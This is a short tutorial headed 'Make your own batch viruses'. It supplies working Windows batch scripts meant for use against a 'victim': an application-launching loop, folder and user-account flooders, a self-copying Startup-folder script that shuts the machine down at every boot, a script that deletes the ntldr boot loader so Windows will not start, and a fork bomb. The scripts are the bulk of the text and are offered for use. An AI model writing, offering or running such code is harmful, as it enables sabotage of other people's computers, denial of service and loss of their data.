Make your own batch viruses

What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.

2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers.

3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.


Lets make a batch file to
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.


5. Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .